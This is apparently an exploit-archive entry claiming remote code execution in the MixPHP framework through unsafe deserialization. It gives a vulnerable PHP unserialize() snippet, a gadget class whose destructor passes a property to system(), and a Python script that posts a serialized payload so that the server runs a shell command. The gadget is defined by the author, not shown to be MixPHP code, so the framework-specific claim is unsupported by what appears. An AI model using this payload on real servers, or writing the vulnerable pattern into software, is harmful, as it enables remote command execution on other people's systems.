MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution

# Exploit Title: MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution
# Date: 2026-05-14
# Exploit Author: cardosource
# Vendor Homepage: https://github.com/mix-php/mix
# Software Link: https://github.com/mix-php/mix
# Version: 2.x through 2.2.17
# Tested on: Ubuntu 26.04 LTS / PHP 8.3.6
# CVE: CVE-2026-42471
"""
PHP applications that pass user-controlled input directly into
unserialize() may be vulnerable to arbitrary code execution when
attacker-controlled gadget chains are available.

The following proof of concept demonstrates exploitation through
a reachable __destruct() magic method.

Vulnerable Code
===============

$payload = $_POST["data"] ?? "";
unserialize($payload);

Gadget
======

class A {
    public $c = 'id>/tmp/p';

    public function __destruct() {
        system($this->c);
    }
}

Lab Setup
=========


php -S 0.0.0.0:8000

python3 php_deserialization_rce.py

"""

import requests

target = "http://127.0.0.1:8000/index.php"

payload = 'O:1:"A":1:{s:1:"c";s:9:"id>/tmp/p";}'

r = requests.post(target, data={"data": payload})

print(r.text)